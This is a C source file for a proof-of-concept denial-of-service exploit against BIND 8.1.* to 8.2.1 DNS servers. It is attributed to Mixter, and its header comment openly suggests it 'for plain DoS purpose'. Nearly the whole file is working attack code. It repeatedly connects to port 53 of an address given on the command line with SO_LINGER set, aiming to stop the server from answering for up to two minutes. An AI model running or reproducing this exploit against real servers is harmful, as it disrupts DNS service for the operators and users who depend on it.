/*
 * "solinger" Denial Of Service - bind 8.1.*, 8.2, 8.2.1
 * by Mixter <mixter@newyorkoffice.com> / members.tripod.com/mixtersecurity
 *
 * Impact: causes a bind8 server to stop responding to requests
 *         for up to 120 seconds. Quick proof of concept of the
 *         bug pointed out by ISC. (Might be handy while trying
 *         to 'snoof' or for plain DoS purpose...)
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>

#define DNS	53
#define RETRY   10

int
main (int argc, char **argv)
{
  struct linger l1ng3r;
  int tsock, probe, i;
  struct sockaddr_in target;

  if (argc != 2)
    {
      printf ("usage: %s <lame_dns's_ip>\n", argv[0]);
      exit (0);
    }
  printf ("unbind - SO_LINGER bind DoS (c) Mixter\n");
  printf ("sending to %s: ", argv[1]);
  fflush (0);
  for (i = 0; i < RETRY; i++)
    {
      tsock = socket (AF_INET, SOCK_STREAM, 0);
      l1ng3r.l_onoff = 1;
      if (
	   setsockopt (tsock, SOL_SOCKET, SO_LINGER, (void *) &l1ng3r, sizeof (l1ng3r)) < 0)
	{
	  perror ("setsockopt");
	  exit (0);
	}

      target.sin_family = AF_INET;
      target.sin_port = htons (DNS);
      target.sin_addr.s_addr = inet_addr (argv[1]);
      if (target.sin_addr.s_addr == -1)
	{
	  printf ("invalid ip '%s', dufus!\n", argv[1]);
	  exit (0);
	}

      bzero (&target.sin_zero, 8);
      probe = connect (tsock, (struct sockaddr *) &target, sizeof (struct sockaddr));
      if (probe == 0)
	printf (".");
      close (tsock);
      fflush (0);
    }
  printf ("done (should not be responding for 2 minutes)\n");
  return 0;
}
